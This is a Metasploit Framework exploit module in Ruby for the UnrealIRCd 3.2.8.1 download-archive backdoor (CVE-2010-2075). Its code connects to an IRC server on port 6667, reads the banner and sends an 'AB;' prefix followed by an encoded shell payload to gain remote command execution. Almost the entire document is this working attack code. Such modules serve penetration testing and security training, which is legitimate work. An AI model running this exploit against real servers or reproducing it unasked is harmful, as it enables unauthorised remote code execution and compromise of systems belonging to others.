UnrealIRCD 3.2.8.1 - Backdoor Command Execution



##

# $Id: unreal_ircd_3281_backdoor.rb 11227 2010-12-05 15:08:22Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
            'Description'    => %q{
                    This module exploits a malicious backdoor that was added to the
                Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
                Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
            },
            'Author'         => [ 'hdm' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 11227 $',
            'References'     =>
                [
                    [ 'CVE', '2010-2075' ],
                    [ 'OSVDB', '65445' ],
                    [ 'URL', 'http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt' ]
                ],
            'Platform'       => ['unix'],
            'Arch'           => ARCH_CMD,
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'       => 1024,
                    'DisableNops' => true,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic perl ruby bash telnet',
                        }
                },
            'Targets'        =>
                [
                    [ 'Automatic Target', { }]
                ],
            'DefaultTarget' => 0,
            'DisclosureDate' => 'Jun 12 2010'))

        register_options(
            [
                Opt::RPORT(6667)
            ], self.class)
    end

    def exploit
        connect

        print_status("Connected to #{rhost}:#{rport}...")
        banner = sock.get_once(-1, 30)
        banner.to_s.split("\n").each do |line|
            print_line("    #{line}")
        end

        print_status("Sending backdoor command...")
        sock.put("AB;" + payload.encoded + "\n")

        handler
        disconnect
    end
end